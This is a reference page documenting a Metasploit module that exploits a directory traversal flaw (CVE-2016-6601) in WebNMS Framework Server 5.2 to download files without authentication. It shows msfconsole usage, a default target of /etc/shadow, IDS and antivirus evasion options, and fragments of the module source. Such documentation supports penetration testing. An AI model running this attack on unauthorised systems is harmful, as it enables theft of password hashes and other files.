WebNMS Framework Server Arbitrary Text File Download - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/webnms_file_download metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: WebNMS Framework Server Arbitrary Text File Download
Module: auxiliary/admin/http/webnms_file_download
Source code: modules/auxiliary/admin/http/webnms_file_download.rb
Disclosure date: 2016-07-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 9090
List of CVEs: CVE-2016-6601

This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an unauthenticated user to download files off the file system by using a directory traversal attack on the FetchFile servlet. Note that only text files can be downloaded properly, as any binary file will get mangled by the servlet. Also note that for Windows targets you can only download files that are in the same drive as the WebNMS installation. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/webnms_file_download
msf auxiliary(webnms_file_download) > show targets
    ... a list of targets ...
msf auxiliary(webnms_file_download) > set TARGET target-id
msf auxiliary(webnms_file_download) > show options
    ... show and set options ...
msf auxiliary(webnms_file_download) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the admin/http/webnms_file_download auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/webnms_file_download

msf6 auxiliary(admin/http/webnms_file_download) > show info

       Name: WebNMS Framework Server Arbitrary Text File Download
     Module: auxiliary/admin/http/webnms_file_download
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-07-04

Provided by:
  Pedro Ribeiro <[email protected]>

Check supported:
  No

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  FILEPATH        /etc/shadow      no        The filepath of the file you want to download
  MAX_TRAVERSAL   10               no        Maximum traversal path depth (if you don't know the traversal path)
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           9090             yes       The target port (TCP)
  SSL             false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI       /                yes       WebNMS path
  TRAVERSAL_PATH                   no        The traversal path to the target file (if you know it)
  VHOST                            no        HTTP server virtual host

Description:
  This module abuses a vulnerability in WebNMS Framework Server 5.2 
  that allows an unauthenticated user to download files off the file 
  system by using a directory traversal attack on the FetchFile 
  servlet. Note that only text files can be downloaded properly, as 
  any binary file will get mangled by the servlet. Also note that for 
  Windows targets you can only download files that are in the same 
  drive as the WebNMS installation. This module has been tested with 
  WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-6601
  https://blogs.securiteam.com/index.php/archives/2712
  https://seclists.org/fulldisclosure/2016/Aug/54

Module Options

This is a complete list of options available in the admin/http/webnms_file_download auxiliary module:

msf6 auxiliary(admin/http/webnms_file_download) > show options

Module options (auxiliary/admin/http/webnms_file_download):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FILEPATH        /etc/shadow      no        The filepath of the file you want to download
   MAX_TRAVERSAL   10               no        Maximum traversal path depth (if you don't know the traversal path)
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           9090             yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI       /                yes       WebNMS path
   TRAVERSAL_PATH                   no        The traversal path to the target file (if you know it)
   VHOST                            no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/webnms_file_download auxiliary module:

msf6 auxiliary(admin/http/webnms_file_download) > show advanced

Module advanced options (auxiliary/admin/http/webnms_file_download):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/webnms_file_download module can do:

msf6 auxiliary(admin/http/webnms_file_download) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/webnms_file_download auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/webnms_file_download) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Failed to download the specified file.

Here is a relevant code snippet related to the "<PEER> - Failed to download the specified file." error message:

67:	        file = get_file(datastore['FILEPATH'], traversal_size)
68:	      else
69:	        file = get_file(datastore['TRAVERSAL_PATH'], 1)
70:	      end
71:	      if file.nil?
72:	        print_error("#{peer} - Failed to download the specified file.")
73:	        return
74:	      else
75:	        vprint_line(file)
76:	        fname = File.basename(datastore['FILEPATH'])
77:

Module Failed: Invalid Filename

Here is a relevant code snippet related to the "Module Failed: Invalid Filename" error message:

83:	          fname
84:	        )
85:	        print_good("File download successful, file saved in #{path}")
86:	      end
87:	    else
88:	      print_error("Module Failed: Invalid Filename")
89:	    end
90:	  end
91:	
92:	  def get_file(path, depth)
93:	    while depth > 0

Connect to the target: <E.CLASS> - <E.MESSAGE>

Here is a relevant code snippet related to the "Connect to the target: <E.CLASS> - <E.MESSAGE>" error message:

101:	            'vars_get' => { 'fileName' => file_name }
102:	          }
103:	        )
104:	      rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
105:	             Rex::HostUnreachable, Errno::ECONNRESET => e
106:	        print_error("Connect to the target: #{e.class} - #{e.message}")
107:	        return nil
108:	      end
109:	      if res &&
110:	         res.code == 200 &&
111:	         !res.body.to_s.empty? &&

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References

See Also

Check also the following modules related to this module:

Authors

  • Pedro Ribeiro <pedrib[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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